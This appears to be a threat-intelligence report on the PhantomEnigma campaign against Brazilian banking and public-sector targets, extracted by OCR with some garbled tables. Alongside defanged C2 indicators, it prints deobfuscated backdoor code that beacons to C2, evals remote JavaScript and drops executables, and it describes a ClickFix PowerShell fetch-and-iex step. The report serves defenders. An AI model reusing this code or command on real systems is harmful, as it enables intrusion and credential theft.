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An original threat intelligence investigation
uncovering how trusted government
infrastructure became an attack channel,
placing banking organizations and public-
sector systems at risk while revealing
previously undocumented infrastructure
relationships and actionable mitigation
guidance for security leaders.
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Introduction

PhantomEnigma is an active Brazil-focused operation that combines phishing, compromised
government infrastructure, and modular malware to steal credentials and gain access

to targeted systems. Banking organizations are among the sectors most exposed to the
campaign. Its use of trusted email accounts, frequently rotated domains, and samples that
often appear clean or generic makes the activity difficult to detect and easy to underestimate.

ANY.RUN analysts uncovered a previously hidden link between PhantomEnigma’s Inno/
Node.js backdoor activity and a campaign using fake police-themed documents presented
as official “Oficio Policia Civil” notices. By correlating hundreds of sandbox analyses, the
team connected activity that initially appeared unrelated to a broader coordinated operation
affecting both trusted public-sector infrastructure and high-value banking environments.

For security leaders, the findings expose a critical visibility gap that can delay containment,
increase investigation costs, and allow a single campaign to remain hidden across
fragmented alerts.

PhantomEnigma Threat Profile

Parameter

Threat type
Family / cluster

Actor / targeting

Severity

Business risk

Sophistication

Prevalence
First / last seen (our mirror)

Overall confidence

Attribution basis

Snapshot

Value

Modular Node.js backdoor delivered by a Delphi/Inno-Setup installer;
multi-arm crimeware operation

PhantomEnigma (aka Operation Phantom Enigma)

Brazil: banking (Banco do Brasil) early 2025, shifting to public sector
(.gov[.]br) in late 2025 / 2026

High: government-infrastructure compromise for delivery,
banking-credential theft, active

Financial loss, sensitive data exposure, operational disruption, regulatory
and reputational damage, and higher investigation and recovery costs

Capable: patched-Electron decoy, self-deobfuscating index.js, modular
eval/exec backdoor, compromised-infra delivery so SPF/DKIM/DMARC pass

231 sandbox analyses from January to July 2026; activity remains ongoing,
with peaks in March (58) and May (66), and 27 analyses in July.

2026-01-15 to 2026-07-10

C: High the campaign is real, documented and Brazil-targeted
C:Med-High that this specific Inno/Node arm is PhantomEnigma

Build-chain handwriting-segmentation + vendor corroboration
(PT-ESC family + abuse.ch ThreatFox + exact seed IOCs)

Core facets 2026-07-11; gated deep-dive + loader facet + live
re-detonation 2026-07-12; Oficio delivery arm 2026-07-13
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TL;DR

 PhantomEnigma uses compromised Brazilian government systems for delivery.
At least 20 .gov.br municipal and police portals were used to distribute malware, while
compromised mailboxes allowed phishing emails to pass SPF, DKIM, and DMARC checks.
These government systems are part of the delivery chain, not confirmed campaign targets.

« ANY.RUN analysts uncovered a previously undocumented backdoor generation.
A fresh sandbox detonation on July 12, 2026, confirmed the behavior in a live environment,
showing that PhantomEnigma operates at least two beacon generations.

» The Oficio-PC quishing activity is linked to the same operator.
The fake Policia Civil QR-code PDF and ClickFix campaign included 99 sandbox
analyses. At least four compromised government hosts delivered both Oficio-PC
content and PhantomEnigma installers, supporting the assessment that it is another
arm of the same operation.

o ANY.RUN exposed hidden infrastructure links, while the campaign’s code proved
to be its most durable fingerprint.
A recurring Delphi/lnno Setup and Node.js/Electron build chain identified 231 sandbox
analyses even as domains, IP addresses, and delivery hosts changed.

One Operator, Multiple Parallel Attack Arms

The earlier brief framed this activity as two sequential campaigns: a PDF wave from January
to April, followed by a Node.js/Inno wave beginning in May. Analysis of the broader dataset
suggests they are better understood as concurrent arms of the same operator, rather than
separate phases.

» The PDF wave is the Oficio-PC quishing/ClickFix delivery arm
(58-62 PDF tasks, Jan-Apr, peak Feb); see the dedicated chapter;

e The nodejs+inno wave is the core Inno/Node backdoor spine, which the monthly trend
shows is live across the entire window (Janto Jul: 7 /21/58/21/ 66/ 31/ 27), peaking
in both March and May rather than starting in May.

The rest of this report treats PhantomEnigma as one operator running several arms

in parallel over a shared, compromised-government delivery substrate: the Inno/Node
backdoor, the compromised-.gov[.]br delivery, the operator C2 cohort, and the Oficio
quishing front.
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Timeline & Evolution of PhantomEnigma

The timeline shows the operation as one continuous campaign. Gen A covers the 2025
extension-banker activity documented in public research. Gen B covers the 2026 activity
measured directly in ANY.RUN, including the PDF delivery arm and the Node.js/Inno
backdoor cluster. Although the earlier brief treated these as separate phases,

the data shows they operated in parallel through the first half of 2026.

GEN A (OSINT,
PRE-MI(RROR)’ Public report1 722 installs and 5273 BR downloads

Public report 2 getloader KalebAutoRun

First detection
CORE INNO/NODE
BACKDOOR (GEN B) Core build-chain spine live

OFICIO-PC QR-PDF ClickFix to Cobalt Strike

QUISHING ARM Dormant but backend IP still live

COMPROMISED GOV

PORTALS DELIVERY 20-plus .gov and .jus portals

C2 policiacivilmg

OPERATOR C2 C2 pcevill
ROTATION (WEEKLY) C2 dahieenloo

C2 psznaoehteeh

ADJACENT ARMS GitHub hothehottest to
(NOT PE CORE) StealC surfaces

Gate A redetonation and Gate B index.js pull
OUR INVESTIGATION . - .
Oficio reclassified as PE delivery arm

THE CAMPAIGN EVOLVED IN TWO WAYS.

Target: The campaign moved from banking-focused activity in 2025, including Banco do
Brasil, to the use of Brazilian public-sector infrastructure in 2026. This change reflects a shift
in delivery rather than a confirmed new victim class. Compromised .gov.br email and hosting
systems gave the attackers a more trusted path to reach victims and increased the chance
that malicious messages would pass standard authentication checks.

Arsenal: The malware evolved from a browser-extension banker into a modular Inno/Node.js
backdoor built around a patched Boostnote application. The payload-download script became
simpler, the decoy appeared more legitimate, and the backdoor gained the ability to execute
JavaScript or deliver additional files. Multiple beacon generations also remained active

at the same time, using both GET and POST requests.

For security teams, these changes increase the risk of delayed detection and incomplete
containment. Trusted infrastructure can reduce suspicion, modular payloads can change
after the initial infection, and weekly C2 rotation can quickly make static blocklists outdated.
This makes behavior-based detection and continuous threat hunting more valuable

than relying on individual domains, hashes, or automated verdicts alone.
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Business Risks Organizations Face

PhantomEnigma’s use of trusted government infrastructure, clean-looking samples,
and rotating C2 domains can delay investigation and give the operation more time
to expand inside an organization.

The main business risks include:

» Account and credential compromise: Stolen banking, email, or system credentials
can support fraud, unauthorized access, and further attacks.

» Delayed containment: Clean verdicts and fragmented alerts can prevent teams
from recognizing that several incidents belong to one coordinated operation.

» Data exposure: The modular backdoor can collect system information, execute
commands, and deliver additional payloads.

« Operational disruption: A successful compromise can affect employee access,
business systems, and day-to-day operations.

» Higher response costs: Longer investigations, repeated analysis, and late containment
increase SOC workload and recovery expenses.

» Trust and reputational damage: Abuse of government or other trusted infrastructure
can make attacks harder to identify and increase the impact on customers, partners,
and public confidence.

For security leaders, the priority is to reduce the time between the first suspicious
signal and confirmed compromise. This requires connecting behavior across files,
infrastructure, and sandbox sessions instead of relying only on individual hashes,

domains, or automated verdicts.

Threat Landscape and Victimology

Submitter data is a proxy for targeting, not confirmed victimology. Country and industry
labels reflect who detonated the sample and may be distorted by MSSP resubmissions,
automated feeds, and the ANY.RUN user base.

Across the 231 core sandbox analyses, the raw split is US 33.3%, Unknown 27.7%,
and Brazil 20.8%. However, 66 of the 77 US submissions came from one homogeneous
US/Telecommunications source, so they should not be treated as individual US victims.

Brazil is the stronger targeting signal. It represents 60.3% of the .gov.br delivery cluster
and 46% of the operator C2 cohort, with Banking and MSSPs among the leading industry
categories. This aligns with public research documenting Banco do Brasil targeting.

The adjacent Eoto ClickFix and GitHub-to-StealC clusters show a different geographic profile
and are not concentrated in Brazil, supporting their classification as separate operations.

For security leaders, separating real targeting signals from submission noise helps focus
detection, threat hunting, and response resources on the regions and sectors facing
the highest exposure.
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Execution Chain:
How the PhantomEnigma Attack Unfolds

After analyzing the phishing email inside ANY.RUN's Interactive Sandbox,
we revealed the following attack chain:

PHISHING EMAIL:
spoofed Policia Civil / 'Procuracao Digital' notary lure

Sent from a genuinely-compromised
.gov[.]Jbr mailbox (SPF/DKIM/DMARC PASS)

Link to a compromised .gov|[.]br host
OR a police-typosquat .com (policiacivilmg[.]Jcom)

Download Inno-Setup installer EXE
(Delphi stub; e.g. Procuracao_Digital.exe)

[SILENT unpack Temp is-*.tmp: patched Electron/
boostnote App.exe + a MALICIOUS index.js

App.exe loads index.js; charCodeAt self-deobfuscation;
reads COMPUTERNAME + USERNAME + mutex

Beacon to C2 (base64 sysinfo over plaintext http)

child_process.exec recon + Run-key autorun
+ stdin-fed powershell -ExecutionPolicy Unrestricted

TASKEXECUTE:
eval() JS in-process OR child_process.exec
a dropped EXE (stealer / loader / RMM)
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INITIAL DELIVERY

The victim receives a spoofed Policia Civil or “Procuracao Digital” notary email and follows
a link to a compromised government host or a police-themed typosquat .com domain.

"

File Message  Developer  Help [ CIOBMEE @ Tell me what you want to do

= e E= 4
a X B2 B By | Y
Open Quick Remove Save Save All 1 | Select Copy Show
Print  Attachment As  Attachments t All Message
Actions Save to Computer Save to Cloud Selection Message ~
AP < combrs L.com.br; .combr - [ 3:58 PM
[Alerta de phishing] ,, CUMPRIMENTO OBRIGATORIO: Ordem de Servico n® 010/2025 - Desconsiderar Esta Ordem € Ato de Desobediéncia Civil - BB-PREVIDENCIA FUND... ,

El phish_alert GA1.0.99-0.eml (5.65 KB) %)
Cutlook item

0|

0Os dados solicitados estde detalhados a seguir:

CPF/CNPI: [nimero]

E-mail cadastrado: [e-mail]

Telefone vinculado: (XX) XXX00-XKNX

Cliente:

Ressaltamos a impertancia do cumprimento desta solicitagdo no prazo maxime de 48 (quarenta e oito) horas a partir do recebimento deste e-mail, visando a celeridade do processo investigatdrio. A fundamentagio

juridica completa e os parmenores do objeto da investigagdo estdo contidos no documento oficial anexe. Para assegurar a confidencialidade e a integridade das informagbes, a visualizagdo do arquivo requer a validago
de certificado digital, acessivel através do enderego eletronico abaixo:

Visualizar Certificado ANC (Anexo I}
Informamos que o sigilo das informages e a colaboragdo com as autaridades sdo cruciais para o &xito das investigagdes. Qualquer divulgagio indevida poderd acarretar as sangbes legais cabiveis.

Delegado de Policia
Policia Civil de Pernambuco/ Cooperagio PC DCIBBER SP

H £ Type here to search

INSTALLER EXECUTION

The host serves a Delphi-compiled Inno Setup installer, such as Procuracao_Digital.exe.
Once executed, it silently unpacks a patched Electron/Boostnote or another
JavaScript-based application.

BACKDOOR ACTIVATION

In the observed Boostnote version, the legitimate BoostlO note-taking application contains
a malicious index.js file. The Electron host loads this script, which self-deobfuscates, sends
victim system information to the C2 server, performs reconnaissance through child_process,
creates persistence through a Run key, and enters its taskExecute loop.

SECOND-STAGE DELIVERY

The server can return JavaScript for in-process execution through eval() or send
an executable to be dropped and launched as a child process. This modular second stage
is where the final payload, such as a stealer, loader, or remote management tool, is delivered.
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Indicators That Survive Lure Changes

Several artifacts remain visible even as file names and lures change:

e The dropped Electron host appears as App.exe under is-*tmp\<Name>Application\,
including names such as DistroniceApplication and SmartSuiteifyUltraWare.

o The decoy binary is a patched Boost Note.exe, later renamed Grape.exe
to avoid the known decoy string.

e Installation directories use random word combinations such as UltraSuiteSmartCoreware
and ProSoftxUltraToolator.

Inside the Backdoor: Static Deobfuscation
and Live Re-Detonation

This investigation revealed backdoor behavior that we found no previous public research
documenting. To validate it, ANY.RUN analysts completed two controlled steps: extracting
and deobfuscating the dropped index.js file, then re-detonating the original installer

to confirm the behavior in a live environment.

First, analysts recovered the real resources\app\index.js file, measuring 239,459 bytes,
from the anchor sessions’s full JSON report. The file was extracted with 7-Zip and
deobfuscated in Python without executing it through Node.js or eval().

The analysis reversed two obfuscation layers. The Boosthote wrapper used an obfuscator.io
string array with a custom lowercase-first Base64 alphabet, while the malicious strings
were stored as character-code arrays and decoded through String.fromCharCode(...).

This build also differed from the generation described in earlier public research. It did not
contain the 1874371588 XOR scheme or the laravel string, indicating a simpler but distinct
version of the backdoor.

The deobfuscated logic showed that the malware:

e Sends system information to the /nbw/ endpoint

» Creates a persistent eight-character machine ID in %APPDATA%
» Reads an affiliate or campaign tag stored beside the installer

e Checks for new commands every 180 seconds

o Executes JavaScript directly through eval()

e Drops and runs executable files

» Establishes persistence through setLoginltemSettings
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The deobfuscated backdoor, shown in simplified pseudocode:

async function beacon () { // resolve C2, then POST sysinfo
const host = resolveFromReddit () ; // dead-drop:
reddit[.Jcom/r/Boostnote/
const r = await fetch (host + ".com/nbw/" , {
method : "POST" , headers : { "Content-Type" : "application/json" } ,
body : JSON.stringify ([ machineld () , process.env. COMPUTERNAME ,
process.env. USERNAME , ... (campaignTag () || ) 1) D ;
const h = await r. json () ; if (h . task) taskExecute (h .task) ;
}
async function loop (){ while ( true ){ await beacon () ; await sleep ( 180000) ; }} // every 180 s
function machineld (){ /* 8-char id persisted in %APPDATA% */}
function campaignTag (){ /* alnum X-Y affiliate tag read from a file beside the installer */ }
function taskExecute (t){

if(t.e){eval(t.e);return;} // JS task
for ( const [name , b64] of Object.entries (t . files || {}))
{ writeFile (TEMP + ts + name , base64 (b64)) : if (hame . endsWith ( ".exe")) exe = ... : }
if (exe) require ( "child_process") .exec ( " ${exe}" ); // EXE task
}
app . setLoginltemSettings ({ openAtLogin: true , path : app . getPath ( "exe")}) ; // persistence

A New Beacon Generation

The recovered sample sends a POST request to /nbw/ with a JSON body containing
the machine ID, computer name, username, and campaign tag.

This differs from the previously documented GET request:

[/laravel.php?api=api&hash=<b64>&message=PT1n<b64>

The evidence therefore indicates that PhantomEnigma operates at least two beacon
generations. Despite the different communication formats, both share the same Delphi/lnno
and patched-Boostnote build chain, modular JavaScript or executable task delivery,

and login persistence.
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async function requestInit() {
try {
const i8 = await customRequest(deobfEndpoint, {
method: deobfString(postMethod),
headers: {
[deobfString(0Op)]: deobfString(t5)
b
body: JSON.stringify([readMutex(), process.env.COMPUTERNAME, process.env.USERNAME, ... (buildNumberCheck() || [1)1)
g
const el = await i8.json();
if (el.task) {
taskExecute(el.task);
+
} catch (x_) {
console.log(x_);
+

ez a-Y
s

function taskExecute(_W)
if ((W.e) {
try {
const QE =
} catch (cq) {

eval(_W.e);

const M6 = ' [${new Date().toISOString()}]1\nError: ${cq.message}\nStack: ${cq.stack}\n\n";
K.appendFileSync(deobfString(W6), M6);
i
return;
}
const ZN = process.env.TEMP;
const nB = Q(ZN, String(Date.now()));
K.mkdirSync(nB, {
recursive: true
H
const Oe = _W.files || {};
let GW = null;
for (const [Wl, um] of Object.entries(0e)) {
const CL = Q(nB, Wl);
const WA = z(CL);
if (WA !== nB) {
K.mkdirSync(WA, {
recursive: true
};
}
K.writeFileSync(CL, Buffer.from(um, deobfString(Af)));
if (Wl.endsWith(deobfString(JVv))) {
GW = CL;

}
if (GwW) {
require("child_process").exec( "${GW}"", {
cwd: nB
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A fresh detonation on July 12, 2026 confirmed the behavior in a live environment.
The sample resolved and sent a POST request to:

hxxps://zsxocjarsate[.Jcom/nbw/

This confirmed the deobfuscated /nbw/ path in active use and identified zsxocjarsate[.]Jcom
as a live C2 domain. The analysis also recovered the dropped index.js hash:

71f6997866...2ab71c

The live detonation confirmed the behavior identified during static analysis.

Why Build-Chain Evidence
Outlasts Rotating Infrastructure

Known C2 domains help connect related activity, but they are not reliable enough to serve
as the main detection key. The largest seed domain, policiacivilmg[.Jcom, appears in only 34
of the 231 core sandbox analysis sessions, or 15% of the cluster. The previously cited figure
of 55 refers to index-wide DNS activity, not sessions within the core cluster.

The full ten-domain seed set covers only 77 of the 231 sessions, or 33%. Two-thirds
of the cluster never contacted any known C2 domain. Instead, those sessions used
compromised .gov.br hosts or infrastructure that had already rotated out of view.

To find a more stable signal, ANY.RUN analysts used Threat Intelligence Lookup together
with YARA and static detection tags to search across the samples’ build characteristics.

Individually, the tags are common across the dataset:

nodejs 2,496 sandbox sessions

inno 10,719 sandbox sessions
delphi 17,233 sandbox sessions
installer 11,567 sandbox sessions

Combined, however, the four tags identify exactly 231 sessions. The combination
of the nodejs and inno tags also identifies all 231 sandbox analyses, providing full
coverage of the cluster.

The combination reflects the recurring build chain: a Delphi-compiled Inno Setup installer
carrying an embedded Node.js or Electron application. The Combined, however, the four
tags identify exactly 231 sessions. The nodejs and inno combination alone also returns
all 231, providing full recall across the cluster.
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The three tags come from ANY.RUN YARA and static detections applied
to the sample bytes, including:

o Compiled with Borland Delphi

o Detects InnoSetup installer
» Node.js compiler detected

This means analysts can identify the malware by its build characteristics, even when
the attacker changes domains, IP addresses, or delivery hosts. It remains visible even
as the operator changes C2 domains, IP addresses, and compromised delivery hosts.

The initial ANY.RUN’s Threat Intelligence Lookup query provided a broader starting point
for identifying related sandbox sessions. Analysts could then combine the build-chain tags
with stronger campaign indicators, such as known C2 infrastructure, compromised .gov.br
hosts, beacon IP addresses, and the /laravel.php or /nbw/ communication patterns.

Check Tl Lookup query:

domainName:".gov.br" AND threatName:"nodejs" AND threatName:"inno*"

domainName:" " AND threatName:"nodejs" AND threatName:"inr

domainName:".gov.br" threatName:"nc js" threatNarr

https://poa.sp.gov.br/doc/KhDvexT9QX/t4iVaErskj MOs: 'CF 3BARTBABBBYSD!
= sHAT /A7FTBOA4 1DE28BB2243742EEESIFA

deiphi Installer | nodejs SHA?S6: (1 ABBZESEL EDBF1F1F 10C46FCBEGDA200BE8ASBEB2G03687 7A4 TOEZASAFD

ional 64 bit

Suspicious activity

inno  Installer  deiphi  nodejs

loaal 54 Bit Maliclous activity o .5p.gov.br/s (hDvexT9QX/t4iVaErskj
Ino installer  nodejs

Suspiclous activty I . gov.br/doc/WBYCEWP3t0/oSKmMKG1sw
5 SHAT:
L= B o | instller | delphi | nodejs SHazs6

Windows 1
July 03, 20

R S camaradelassance.mg.gov.br

GERE® qrcode  deiphl o Installer  nodels

s https.//camaraparaguacu.sp.govbr/doc/DzAcBSkvca o
SHAT ASSDBAT64D3
delphi installer  nodejs SHAZS5: 7E907612! 21 £383370218CERDDCBATDI764B40CT,

http: raguacu.sp.gov.br/doc/i00hqHIGFr

[=! 7 delphi installer  loader  nodejs . 0 2EDFFAS3FSRDEIREST

h -aparaguacu:sp.gov.br/doc/wsVPWyPOIL

= Windows 10 Professional 64 bit AISIAoUs acthy

iy
(1] delphi | thno | installer | nodejs | loader @

Siispicious activity https://camaraparaguacu.sp.gov.br/doc/naNXNWOLQ7

delohl im0 installer  loader  nodels

aparaguacu.sp.govbr/doc/DzAeBSkvea  mps: BSESFO1ADDADBBCARG
Windows 10 Professional 64 bit .
= = E595411D4B0AT9DBA1 04083

inno  Ins delphi  nodejs 2 9078121 CEQBCIBII7021BCEBDOCAATOI764B40CTABIZD1BAI NS

T hittps://url.de.m. mimeeastprotect.com/s/cFJoCr2Pqn...

gl Vindows 10 Prfessional o4 bt &

uly 01, 2026 15 & .

”=’: E @ < delphi Inng. Installer nodejs 2407 it B 8 Gl 3607 0E48959F 1467EBBD20A
Windows 10 Professional 64 bit Suspicious activity araparaguacy.ep gen hridoe SHSREERIEEE

" July 01, 2026 15:19 0] 34445FBADICCF B9 | ATD7BIEBBEDDFFS2F !

Instalier  delphi | nodejs [ G3681AF79E33932BB0F CO72EEERBF227178: 18G73CEDATZEICE1418BCED

hittps://camaraparaguacu.sp.gov.br/doc/jsFhRNUISZ

v
4
v
v
v
v
v
v
v
v
v
v
v
v

I Window ional 64 bit

Tl Lookup showcasing all the relevant sandbox sessions
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Attribution with Broader Detection Coverage

ANY.RUN analysts identified 231 sandbox analyses that share the same distinctive
build chain. This wider cluster gives defenders a strong basis for threat hunting,
even when domains, IP addresses, and delivery infrastructure change.

Within that cluster, approximately 108-125 analyses also contain stronger PhantomEnigma
indicators, including known C2 infrastructure, compromised .gov.br hosts, beacon IPs,
and the /laravel.php or /nbw/ communication patterns.

This gives defenders two useful levels of visibility: a wider cluster for threat hunting

and a more tightly attributed core for higher-confidence investigation and response.
It also allows the campaign to be tracked broadly without overstating which samples
can be linked directly to PhantomEnigma.

Infrastructure & Handwriting

Co-hosting does not prove a shared operator. The delivery C2 infrastructure sits behind
Cloudflare’s shared edge (188.114.96[.]10/22, 104.21[.1x, 172.67[.]x), which hosts millions
of sites. Cloudflare is a proxy, not the actor, and is not paint-eligible.

The operator uses three distinct hosting tiers, plus a compromised-victim delivery surface:

DELIVERY C2:

Eight registered domains, including a random-consonant .com DGA (dahieenloo[.Jcom,
psznaoehteeh[.]Jcom, taaeiuep[.]Jcom, eeresofeuae[.]Jcom, zsxocjarsate[.Jcom) and Policia
Civil typosquats (policiacivilmg[.]Jcom, pccvill[.]Jcom, pccvioo[.]Jcom). The domains

are Cloudflare-fronted, use Google Trust certificates, are registered through MatBao,

and are all second-level .com domains. This matches the earlier human brief, now supported
by sandbox analyses counts. A new candidate, oficiospolicia[.]Jcom, is also surfacing.

ORIGIN LEAK:

DNS records bypass Cloudflare fronting and point to 158.94.208[.]120, while
oficiospolicia[.]Jcompoints to 91.92.241[.]181. Both are hosted on AS202412 OMEGATECH-AS
in Seychelles, indicating the operator’s likely origin hosting layer. This is stronger evidence
than a CDN link, but it remains infrastructure evidence, not proof of attribution.

BEACON-EXFILTRATION TIER:

The separate infrastructure uses the bare IP addresses 185.219.83[.]191 and
188.137.246[.]1189 on AS214943 RAILNET, an abused and Suricata-flagged ASN.
These hosts serve the /laravel.php?api=api system-information endpoint and
are deliberately kept separate from the Cloudflare-fronted delivery domains.
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DELIVERY SURFACE:

At least 20 legitimate .gov.br municipal and police portals were compromised and used

as delivery infrastructure. These include the 14 hosts identified in the earlier brief, such

as marapoama.sp.govl.]br, poa.sp.gov|.]br, and areal.rj.gov[.]br, as well as newly observed
hosts including timon.ma.gov[.]br, loginam.sesp.es.gov[.]br (state public security),
aplicacao.com.mt.gov[.]br (fire department), prodoc.ap.gov[.]br, and others.

Each host sits on an independent, legitimate hosting ASN. This is consistent with separately
compromised sites rather than operator-owned infrastructure.

Rotation occurs weekly and in lockstep: the delivery host and C2 domain change together.
Examples include timon.ma - policiaciviimg[.Jcom in April, poa.sp - pccvill[.Jcom in May,
camaraparaguacu - dahieenloo[.Jcom in late June, and poa/funrespol

- psznaoehteeh[.]Jcom in July.

A single-domain blocklist can become ineffective within days.

DELIVERY:
compromised .gov[.]br portals
+ police-typosquat .com

Inno-Setup installer (Delphi stub)

Patched Electron/boostnote App.exe
- malicious index.js backdoo

Delivery C2 .com, Cloudfl are-fronted Beacon exfi | /laravel.php,
(188.114.96[.]10/22) bare IPs on AS214943 RAILNET
OMEGATECH-AS Seychelles origin . Cloudflare shared
(158.94.208[.1120 / 91.92.241[.]181) i edge (millions of sites)

15/35



Operator C2 Infrastructure (snapshot 2026-07-10):

Doy SeSHOns T o) et Qbserved
policiacivilmg[.Jcom 55 34 16/15/ 24 :::)elgrr:]geegfg\ixgvit
dahieenloo[.]Jcom 25 18 6/10/9 Recently observed
pccevill[.Jcom 20 7 4/5/1 :::)elgrr:]geegfg\ixgvit
psznaoehteeh[.Jcom 9 7 2/5/2 :g:ii\\/ﬁ;n recent
pccvioo[.Jcom 7 5 6/1/0 ::%Ig?ngeegfﬁ:\i/\;:vst
taaeiuep[.Jcom 7 4 2/2/3 m%lgrr:]geegfag\ixzvst
eeresofeuae[.Jcom 3 1 2/0/1 Recently observed
zsxocjarsate[.Jcom 1 1 1/0/0 Confirmed active

Scale & Statistics

on July 12, 2026

ANY|SRUN

Naming

Policia Civil Policia
Civil MG typosquat

Random-consonant DGA

Policia Civil typosquat
Random-consonant DGA

Policia Civil typosquat

DGA,; linked by abuse.ch
ThreatFox to Inno Setup,
Procuragéo Digital, and
Brazil-focused activity

Random-consonant DGA

DGA; confirmed live
through a POST
request to /nbw/

The figures below show the scale of the activity observed in ANY.RUN. Unless stated
otherwise, each value represents a sandbox analysis session—not a unique attack, victim,
or detection-rule firing. Repeated submissions by analysts, MSSPs, or automated systems

may increase the totals.

Metric

Core build-chain spine nodejs and inno
(== 4-tag combo)

Core verdict split

Core engine-miss (clean despite malicious build)
Core monthly trend (Jan to Jul)

Attributed core (hard PE marker)

Operator C2 cohort (8 domains, DNS-OR)
C2-cohort verdict

.gov[.]br delivery( nodejs N inno N*.gov.br)
.gov[.]br verdict

.gov[.]Jbr monthly (Marto Jul)
[laravel.php?api=api beacon
RAILNET beacon IPs

Oficio-PC quishing arm(delivery arm)

Detection rules measured

Value

Unit

Snapshot

231

114 mal / 52 susp / 65 clean
65/231=281%
7/21/58/21/66/31/27
%108-125 (not 231)

127

39 mal/38 susp/50 clean
(39% clean)

73

26 mal/29 susp/18 clean
(25% clean)

9/10/20/16/18

17 index-wide / 2 in-spine

185.219.83[.]191=2-
188.137.246[.]189 = 15(union 17)

99 (hardened core 95)

24 (18 review/5 auto-tag/1reject)

Sandbox analysis

Sandbox analysis
Sandbox analysis
Sandbox analysis
Sandbox analysis

Sandbox analysis
Sandbox analysis
Sandbox analysis
Sandbox analysis

Sandbox analysis
Sandbox analysis
Sandbox analysis

Sandbox analysis

Sandbox analysis

2026-07-1

2026-07-1
2026-07-1
2026-07-1
2026-07-1

2026-07-1
2026-07-1
2026-07-1
2026-07-1

2026-07-1
2026-07-1
2026-07-1

2026-07-13
2026-07-12
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Several count corrections were applied during validation. The policiacivilmg[.]Jcom figure
was corrected from 55 index-wide DNS records to 34 sandbox analyses within the core
cluster. The C2-cohort negative-control rate changed from 0.4% to approximately

15% when recalculated per sandbox analysis, while the GitHub Node.js bridge

was corrected from eight analyses to three.

Where a figure represents rule firings or index-wide records rather than sandbox analyses,
this is stated explicitly.

The Oficio-PC Delivery Arm
Avisa Importante - _ - Message (Plain Text)

Message Developer Help Q Tell me what you want to do

== X 8 G | ¥ i ==]
=1 | QR 3 mes | Yl B m P AR Q
Archive Reply Reply Forward = Move D’JAmam = lark Categorize Follow B FE Read Immersive = Zoom
All - Uhrea Up~ & Select - Aloud  Reader
Delete Respond Maove Tags = Editing Immersive Zoom ~
BT s 535 AM

Aviso Importante -

0We removed extra line breaks from this message, v

W DOC_52636016000199.pdf
Low ] pdf File

Prazo: 1 dia til

Prezados{as),

Estou entrando em contato para solicitar informagdes referentes aos dados cadastrais de um cliente. Todos os detalhes da solicitago encontram-se no arquive PDF em anexo,
0 processo completo deve ser consultado através do ndmero de CNPL

Solicita-se, por gentileza, que as informagdes sejam encaminhadas para o enderego de e-mail

Agradeco desde j& pela atenglo dispensada.
Atenciosamente,

Equipe da Policia Civil do Estado do Amapa

~ - 2 " - o g
H P Type here to search @l'lh L L A8l T Q) =

A separate investigation (oficio-pc-2026-07) covered what first appeared to be an unrelated
Brazil-targeted operation: fake “Oficio / Intimag&o Policia Civil” QR-code PDFs—for example,
DOC_<CNPJ>.pdf, with the EXIF title “Oficio Policia Civil’—leading through a bare-IP PHP
“Real/Fake” cloaker to a fake “Verificagdo de Acesso” ClickFix page, followed by PowerShell
wget .../oficioprotocolo.tng - iex.

We identified 99 sandbox analyses, with a hardened core of 95. Of these, 32.3% received
no malicious verdict. The activity ran from January to April 2026, peaking in February
with 75 analyses. It has been dormant in our dataset since April 23, 2026, although

the backend IP 195.177.94[.]103 was still live on July 10, 2026.
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GOVERNO DO ESTADO DO AMAPA
SECRETARIA DE DEFESA SOCIAL
POLICIA CIVIL DO AMAPA

3* DELEGACIA DE COMBATE A CORRUPGAO E AO CRIME
ORGANIZADO

Macapa, Amapa 22 de janeiro de 2026

Oficio n® 540222/2026
Ref. IP n? 2026.0541.000018-33

PERPETUO CONSULTORIA ESPECIALIZADA LTDA
DOCUMENTO 29.695.351/0001-46

A POLICIA CIVIL DO ESTADO DO AMAPA, PELA AUTORIDADE POLICIAL
SUBSCRITORA, COM FULCRO NO ARTIGO 144, § 4° DA CONSTITUICAO
FEDERAL, ARTIGO 103 DA COMSTITUICAOQ ESTADUAL, ARTIGO 4° E
SEGUINTES DO CODIGO DE PROCESSO PENAL, ARTIGO 1°, PARAGRAFO
UNICO DA LEI 9296/96 E ART. 10,5 3° COMBINADO COM A LEI N© 12.830/2013,
VEM POR INTERMEDIO DESTE, REQUISITAR OS DADOS CADASTRAIS

Contetido Encriptado

O conteldo deste documento ndo esta disponivel pois encontra-se
protegido por criptografia.
Para desencriptar e visualizar o texto original, & necessario instalar o

certificado digital

Instalar Certificado Digital

POLICIA CIVIL DO ESTADO DO AMAPA
Delegacia Policial

- .E Documento assinado eletronicamente por POLICIA CIVIL DO ESTADO DO
| AMAPA, Mat. 399.750-2 em 22/0L/2026, as 11:38.

p—
! A autenticidade deste documento pode ser conferida no site pelo gr code informando o
cidigo do protocolo: 540222,
AVEMIDA AMAPA, BOB MACAPA - AP 2026.0541.000018-33

Telefone: (96) 99907-6877

ANY|SRUN
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LURE:
QR-PDF 'Oficio/Intimacao Policia Civil' (DOC_.pdf)

!

Scan QR - bare-IP PHP cloaker (79.110.49[.]132)
OR compromised .gov[.]br / .jus[.]br portal

!

PHP 'Real ou Fake' cloak gate

sandbox / bot real victim
Redirect to REAL gov site - engine Ny s PR
sees benign - CLEAN verdict ] Fake 'Verificacao de Acesso' ClickFix page

!

Obfuscated JS - navigator clipboard
-> paste »> PowerShell IEX

!

wget compromised-gov .tng/.jsp
(protocolo.sorocaba /oficioprotocolo.tng)
- iex

PhantomEnigma installer - bat

-> Node backdoor /loader

The sandbox-visible tail of this arm is the Zabbxsoftware “Zab agent” kit, which uses
operator-created paths such as /zab/agent/send and /api/request/<uuid>/status on
logs.zabbxsoftware[.]Jcom, later rotating to oauth.openvpnet[.Jcom, and leads to Shellter-
packed Cobalt Strike.

The loader oficio<digits>PCAP.exe (SHA-256: 7de52b73...) appeared in eight sandbox
analyses and received a clean verdict. External malware repositories and vendors also
identified the file as associated with Cobalt Strike and Shellter.
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Why It Is the Same Operator

The strongest signal is shared delivery infrastructure: at least four compromised .gov.br
and .jus.br hosts served both the Oficio quishing PDFs and PhantomEnigma Inno/Node.js
installers.

Compromised gov host PhantomEnigma installers (nodejsninno) Oficio-PC tasks
timon.ma.gov|.]br " 3
protocolo.sorocaba.sp.gov|.]br 2 14
prodoc.ap.govl[.]br 1 17
portaldrh.tjba.jus[.]br 1 17

A single-arm build-chain test cannot separate a multi-arm operator whose arms use different
chains by design. Re-analysis of our own data, including the four shared hosts above
and the identical Policia Civil theme, supports the same-operator assessment.

SAME OPERATOR AS PHANTOMENIGMA:

» Medium-high confidence based on sandbox evidence alone

